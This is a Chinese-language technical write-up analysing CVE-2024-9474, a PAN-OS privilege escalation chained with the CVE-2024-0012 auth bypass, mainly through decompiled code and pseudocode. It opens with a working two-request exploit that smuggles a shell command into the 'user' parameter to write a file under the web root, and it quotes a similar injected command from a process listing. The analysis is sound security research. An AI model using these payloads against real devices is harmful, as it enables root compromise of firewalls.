Skip to content

CVE-2024-9474 Palo Alto 权限提升漏洞分析

date
2025-05-06 22:25:09

漏洞信息

漏洞编号:CVE-2024-9474

漏洞名称:Palo Alto 权限提升漏洞

漏洞利用:和 CVE-2024-0012 认证绕过漏洞配合实现权限提升到 ROOT RCE。

环境搭建参考 CVE-2024-0012 文章中。

漏洞分析

漏洞利用分为 2 个步骤:

POST /php/utils/createRemoteAppwebSession.php/watchTowr.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

user=`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`&userRole=superuser&remoteHost=&vsys=vsys1


GET /index.php/.js.map HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=2qe3kouhjdm8317f6vmueh1m8n;
X-PAN-AUTHCHECK: off
Connection: keep-alive

php/utils/createRemoteAppwebSession.php

<?php

WebSession::start();

/** @noinspection PhpUndefinedFunctionInspection */
$isCms = panui_platform_is_cms();
if ($isCms == 0) {
    // create a remote appweb session only on a device
    // 'vsys' is the list of accessible vsys for the user. If blank then it means all vsys

    $locale = isset($_POST['locale']) ? $_POST['locale'] : $_SESSION['locale'];
    /** @noinspection PhpUndefinedFunctionInspection */
    panCreateRemoteAppwebSession(
        $_POST['user'],
        $_POST['userRole'],
        $_POST['remoteHost'],
        $_POST['vsys'],
        $_POST['editShared'],
        $_POST['prot'],
        $_SERVER['SERVER_PORT'],
        $_POST['rbaxml'],
        $locale,
        $_POST['hideHeaderBg']
    );
}

session_write_close();

主要处理逻辑是 panCreateRemoteAppwebSession,上面注释表示这是 PHP 未定义函数,那么就应该是扩展什么的。

之前分析过 PHP 配置:

include_path = ".:/var/appweb/htdocs/phpincludes:/usr/lib64/php/modules" ; PAN-MODIFIED
extension_dir = "/usr/lib64/php/modules" ; PAN-MODIFIED - likely not needed. it is already working
tar -czvf php_modules.tar.gz /usr/lib64/php/modules/

/usr/lib64/php/modules 目录中:

image-20250607140326695

PHP 包装:

image-20250607140422445

image-20250607140447259

panhttpdmodule.so

image-20250607140501034

让 AI 帮忙转换为伪代码方便观看逻辑:

function panCreateRemoteAppwebSession(
    user: str,
    userRole: str,
    remoteHost: str,
    accessibleVsys: str,
    editShared: bool,
    protocol: str,
    serverPort: int,
    rbaXml: str,
    locale: str,
    hideHeaderBg: bool
) -> int:
    # 初始化变量和缓冲区
    sessionData = allocateMemory(0x300)
    errorBuffer = allocateMemory(0x2D8)
    deviceInfo = {}
    vsysNames = []

    # 1. 参数验证
    if not user or not userRole or not remoteHost or not accessibleVsys:
        printError("Required parameters not specified")
        return 1  # 错误代码

    # 2. 远程主机安全检查
    clientHost = getServerVar("REMOTE_HOST")
    if clientHost and clientHost not in ["127.0.0.1", "::1", "0:0:0:0:0:0:0:1"]:
        if not clientHost.startswith("trusted_prefix"):
            printError("Unauthorized")
            return 1

    # 3. IP地址处理
    if remoteHost.startswith("http://"):
        ipPart = remoteHost[7:]  # 去掉"http://"前缀

        if isIPv6(ipPart):
            if not validateIPv6(ipPart):
                logDebug("Invalid IPv6 address")
        else:
            if not validateIPv4(ipPart):
                logDebug("Invalid IPv4 address")

    # 4. 用户认证
    protocolType = getProtocolType(protocol, serverPort)
    authResult = authenticateUser(
        user=user,
        password="",  # 密码可能在其他地方处理
        protocol=protocolType,
        host=remoteHost,
        vsys=accessibleVsys,
        sessionData=sessionData
    )

    if authResult != 0:
        printError("Authentication failed")
        return 0  # 注意这里返回0表示错误

    # 5. 创建PHP会话
    sessionStart()
    sessionSet("cmsRemoteSession", "1")
    sessionSet("panorama_sessionid", "dummy")  # 硬编码值
    sessionSet("user", user)
    sessionSet("userRole", userRole)
    sessionSet("vsys", accessibleVsys)
    sessionSet("editShared", editShared)

    # 6. 获取设备信息
    if getDeviceInfo(user, deviceInfo, errorBuffer) == 0:
        sessionSet("model", deviceInfo.model)
        sessionSet("serialNo", deviceInfo.serial)
        sessionSet("version", deviceInfo.version)
        sessionSet("isCms", "no")

        if locale:
            sessionSet("locale", locale)
        if hideHeaderBg:
            sessionSet("hideHeaderBg", hideHeaderBg)

    # 7. 处理RBAC XML
    if rbaXml:
        # 清理XML中的换行符
        cleanedXml = rbaXml.replace('\n', ' ').replace('\r', ' ')
        sessionSet("RBA_XML", cleanedXml)

        if applyRBACFromXml(user, cleanedXml, errorBuffer) != 0:
            printError(errorBuffer)
            cleanup()
            return 0

    # 8. 处理VSYS配置
    defaultVsys = "vsys1"
    if accessibleVsys:
        vsysList = accessibleVsys.split(',')
        if vsysList:
            defaultVsys = vsysList[0]
    else:
        # 获取所有可用VSYS
        vsysNames = getAllVsysNames(user, "localhost.localdomain")
        if vsysNames:
            defaultVsys = vsysNames[0]

    # 设置设备和VSYS关联
    if setDeviceAndVsysForSession(user, "localhost.localdomain", defaultVsys, errorBuffer) != 0:
        printError(errorBuffer)
        cleanup()
        return 0

    # 9. 清理并返回
    sessionWriteClose()
    freeAuthResources(sessionData)
    return 0  # 成功

主要是经过一系列的验证,然后把 user ( payload ) 存储到 session 的 user 位置。

  • 远程主机安全检查
  • 用户认证

先看看为什么 远程主机安全检查 可以通过,跟进一些获取 REMOTE_HOST 的方法:

v12 = (const char *)pan_php_SERVER_get_str((__int64)"REMOTE_HOST", 0LL, (__int64)&v48);

__int64 __fastcall pan_php_SERVER_get_str(__int64 a1, __int64 a2, __int64 a3)
{
  return pan_php_SERVER_get_str(a1, a2);
}

__int64 __fastcall pan_php_SERVER_get_str(__int64 a1, __int64 a2)
{
  __int64 v2; // rax
  __int64 v3; // rax
  unsigned int v4; // eax
  __int64 v5; // rdx

  v2 = pan_php_get_superglobal((__int64)"_SERVER");
  v3 = pan_zval_assoc_get_prop(v2, a1);
  v4 = pan_zval_to_maybe(v3);
  return pan_maybe_str_unwrap_or(v4, v5, a2);
}

__int64 __fastcall pan_php_get_superglobal(__int64 a1)
{
  return pan_php_get_superglobal((const char *)a1);
}

__int64 __fastcall pan_php_get_superglobal(const char *a1)
{
  __int64 v1; // r12
  __int64 v3; // rax
  __int64 v4; // rax

  v1 = zend_hash_str_find((__int64)&executor_globals + 304, (__int64)a1, strlen(a1));
  if ( (unsigned int)pan_zval_is_array(v1) )
  {
    if ( panui_log_target == 1 )
    {
      zend_error(900LL, "%s: get $%s: found", "pan_php_superglobal.c", a1);
    }
    else if ( panui_log_level > 899 )
    {
      LODWORD(v3) = getpid();
      __pan_print(&unk_349C8, 8LL, "pan_php_get_superglobal", 4LL, 0LL, "trace [%d] %s(%d): get $%s: found\n", v3);
    }
  }
  else if ( panui_log_target == 1 )
  {
    zend_error(900LL, "%s: get $%s: not found", "pan_php_superglobal.c", a1);
    v1 = 0LL;
  }
  else
  {
    v1 = 0LL;
    if ( panui_log_level > 899 )
    {
      LODWORD(v4) = getpid();
      __pan_print(&unk_349C8, 11LL, "pan_php_get_superglobal", 4LL, 0LL, "trace [%d] %s(%d): get $%s: not found\n", v4);
    }
  }
  return v1;
}

是通过 zend_hash_str_find ( PHP 提供的 )获取 _SERVER 也就是获取 PHP 的 $_SERVER['REMOTE_HOST']

回顾在 CVE-2024-0012 分析 PA 的架构:

request => nginx(443) => apache(28250) => php(php.ini,index.php) => envSetup.php => target.php

PA 是通过 nginx 反向代理把流量给 apache 的,那么就是:

nginx(127.0.0.1) => apache(127.0.0.1:28250)

那么 nginx + apache + php 是怎么识别客户端 IP 的呢?

答案就是 nginx 配置 proxy_set_header:

image-20250607143903378

这个组合漏洞的巧妙之处就在于 PA nginx 配置这些头部是通过包含的方式:

include conf/proxy_default.conf;

image-20250607144108442

但是 CVE-2024-0012 的 js.map 是没有包含的,所以在 apache 看来就是本地的 nginx 请求本地的 apache。所以第一个限制就过去了。

image-20250607144136338

然后来看第二个限制 用户认证:

AI 生成的伪代码如下:

// 函数目的:执行用户认证请求,处理认证流程并与认证服务通信
// 返回值:0表示成功,非0表示失败

__int64 panSwalAuthenticate(
    __int64 alloc_ptr,        // 内存分配器指针
    int is_cms_auth,          // 是否为CMS认证(1=是,0=否)
    char *username,           // 用户名
    _BYTE *password,          // 密码(可能为空)
    __int64 protocol,         // 协议类型
    __int64 ip_address,       // IP地址
    __int64 accessible_vsys,  // 可访问的虚拟系统(可能为空)
    __int64 auth_result,      // 认证结果存储结构
    char *error_buf,          // 错误信息缓冲区
    unsigned int error_buf_size, // 错误缓冲区大小
    __int64 client_info,      // 客户端信息(可选)
    __int64 extra_params,     // 额外参数(可选)
    __int64 *response_xml     // 响应XML存储指针(可选)
) {
    // 初始化变量
    char *auth_request_xml = NULL;
    char *sanitized_extra = NULL;
    char *debug_request_xml = NULL;
    char role_str[32] = {0};
    int socket_fd = -1;
    void *response_data = NULL;
    int response_len = 0;
    int result = 1; // 默认失败

    // 清理错误缓冲区
    *error_buf = 0;

    // 处理可访问VSYS列表
    if (accessible_vsys) {
        // 复制VSYS列表到缓冲区
        char *vsys_buf = create_string_buffer(alloc_ptr, strlen(accessible_vsys)+1);
        if (!vsys_buf) {
            set_error(error_buf, "Could not allocate buffer for VSYS names");
            goto cleanup;
        }
        if (append_string(vsys_buf, accessible_vsys)) {
            set_error(error_buf, "Could not copy VSYS names");
            goto cleanup;
        }
    }

    // 创建认证请求XML缓冲区
    auth_request_xml = create_string_buffer(alloc_ptr, 1025);
    debug_request_xml = create_string_buffer(alloc_ptr, 1025);
    if (!auth_request_xml || !debug_request_xml) {
        set_error(error_buf, "Could not allocate string buffers");
        goto cleanup;
    }

    // 转义额外参数中的特殊字符
    if (extra_params) {
        sanitized_extra = xmlURIEscapeStr(extra_params, "\"' =");
    }

    // 构建认证请求XML
    if (is_cms_auth) {
        // CMS认证模式
        get_role_string(*(int*)(auth_result+64), role_str, sizeof(role_str));

        if (accessible_vsys && *accessible_vsys) {
            // 包含VSYS列表的请求
            append_xml(auth_request_xml, 
                "<auth-request username=\"%s\" cms-client=\"yes\" is-vsys-admin=\"yes\" "
                "ip-address=\"%s\" protocol=\"%s\" role=\"%s\" %s",
                username, ip_address, protocol, role_str, sanitized_extra);

            if (client_info) {
                append_xml(auth_request_xml, " client=\"%s\"", client_info);
            }

            append_xml(auth_request_xml, ">");
            append_xml(auth_request_xml, "<vsys>");

            // 添加每个VSYS
            char *vsys = strtok(accessible_vsys, ",");
            while (vsys) {
                append_xml(auth_request_xml, "<member>%s</member>", vsys);
                vsys = strtok(NULL, ",");
            }

            append_xml(auth_request_xml, "</vsys></auth-request>");
        } else {
            // 不包含VSYS列表的请求
            append_xml(auth_request_xml, 
                "<auth-request username=\"%s\" cms-client=\"yes\" "
                "ip-address=\"%s\" protocol=\"%s\" role=\"%s\" %s",
                username, ip_address, protocol, role_str, sanitized_extra);

            if (client_info) {
                append_xml(auth_request_xml, " client=\"%s\"", client_info);
            }

            append_xml(auth_request_xml, "></auth-request>");
        }
    } 
    else if (password && *password) {
        // 密码认证模式
        append_xml(auth_request_xml, 
            "<auth-request username=\"%s\" passwd=\"%s\" "
            "ip-address=\"%s\" protocol=\"%s\" %s",
            username, password, ip_address, protocol, sanitized_extra);

        // 创建调试用的请求(隐藏密码)
        append_xml(debug_request_xml, 
            "<auth-request username=\"%s\" passwd=\"****\" "
            "ip-address=\"%s\" protocol=\"%s\" %s",
            username, ip_address, protocol, sanitized_extra);

        if (client_info) {
            append_xml(auth_request_xml, " client=\"%s\"", client_info);
            append_xml(debug_request_xml, " client=\"%s\"", client_info);
        }

        append_xml(auth_request_xml, "></auth-request>");
        append_xml(debug_request_xml, "></auth-request>");
    } 
    else {
        // 无密码认证模式
        append_xml(auth_request_xml, 
            "<auth-request username=\"%s\" "
            "ip-address=\"%s\" protocol=\"%s\" %s",
            username, ip_address, protocol, sanitized_extra);

        // 调试请求与认证请求相同
        append_xml(debug_request_xml, 
            "<auth-request username=\"%s\" "
            "ip-address=\"%s\" protocol=\"%s\" %s",
            username, ip_address, protocol, sanitized_extra);

        if (client_info) {
            append_xml(auth_request_xml, " client=\"%s\"", client_info);
            append_xml(debug_request_xml, " client=\"%s\"", client_info);
        }

        append_xml(auth_request_xml, "></auth-request>");
        append_xml(debug_request_xml, "></auth-request>");
    }

    // 记录调试信息
    if (log_level >= 800) {
        log_debug("Auth request: %s", debug_request_xml);
    }

    // 连接到认证服务(本地127.0.0.1:10000)
    socket_fd = connect_to_auth_service(0x7F000001, 10000);
    if (socket_fd < 0) {
        set_connection_error(error_buf);
        goto cleanup;
    }

    // 发送请求并获取响应
    response_data = send_and_receive(socket_fd, auth_request_xml, strlen(auth_request_xml), &response_len);
    if (!response_data) {
        goto close_socket;
    }

    // 可选: 保存原始响应XML
    if (response_xml) {
        *response_xml = create_string_buffer(alloc_ptr, response_len+1);
        append_string(*response_xml, response_data);
    }

    // 记录响应调试信息
    if (log_level >= 800) {
        log_debug("Auth response: %s", response_data);
    }

    // 解析XML响应
    xmlDocPtr doc = xmlReadMemory(response_data, response_len, "noname.xml", NULL, 0);
    if (!doc) {
        set_error(error_buf, "Error parsing XML response");
        goto close_socket;
    }

    xmlNodePtr root = xmlDocGetRootElement(doc);
    if (!root) {
        set_error(error_buf, "Could not get root element");
        goto free_doc;
    }

    // 处理认证响应
    parse_auth_response(alloc_ptr, root, auth_result, error_buf, error_buf_size);

    // 检查是否认证成功
    if (strcmp((char*)(auth_result+132), "success") == 0) {
        // 认证成功
        strncpy(error_buf, (char*)(auth_result+420), error_buf_size);
        result = 0;
    }

free_doc:
    xmlFreeDoc(doc);
close_socket:
    close_socket(socket_fd);
cleanup:
    // 释放所有资源
    if (sanitized_extra) xmlFree(sanitized_extra);
    if (auth_request_xml) free_string_buffer(auth_request_xml);
    if (debug_request_xml) free_string_buffer(debug_request_xml);
    if (response_data) free(response_data);
    if (vsys_buf) free_string_buffer(vsys_buf);

    return result;
}

因为不是 cms 然后传输的时候无密码:

1
2
3
4
5
6
7
8
    authResult = authenticateUser(
        user=user,
        password="",  # 密码可能在其他地方处理
        protocol=protocolType,
        host=remoteHost,
        vsys=accessibleVsys,
        sessionData=sessionData
    )

所以 payload 就是第三种 无密码认证模式

<auth-request username="superuser" ip-address="" protocol="" "></auth-request>

看下 10000 是什么东西:

1
2
3
netstat -tulnp | grep 10000

/usr/local/bin/mgmtsrvr

image-20250607153001829

暂时没有分析出来,为什么会认证成功

认证成功后就走 else 然后根据 POST 的参数去设置 SESSION

image-20250607160122730

之后 EXP 的触发是通过 index.php 携带上面的 SESSION 。

watchtowr 是根据 Diff 发现 AuditLog.php、createRemoteAppwebSession.php 存在比较大的变化:

image-20250607203811754

image-20250607203830813

image-20250607203920292

但是找不到具体的触发点,参考源影公众号上面的通过进程定位。通过 exp 执行命令:

ps -auxf
sh -c export panusername="`ps -axf>/var/appweb/htdocs/unauth/5rIRJW.php`";export superuser="1";export isxml="yes";/usr/local/bin/sdb -e -n ha.app.local.state

PHP 里面是找不到命令的,所以是在包里面。

1
2
3
4
grep -r 'panusername' /usr/lib64/


grep -r -C 2 "panusername" /usr/lib64/

参考链接

  • https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

  • https://paigekim29.medium.com/understanding-x-forwarded-for-header-settings-in-nginx-4929f49d57dd

  • https://mp.weixin.qq.com/s/6kuuU0WcrWqI-hw2PSoYmA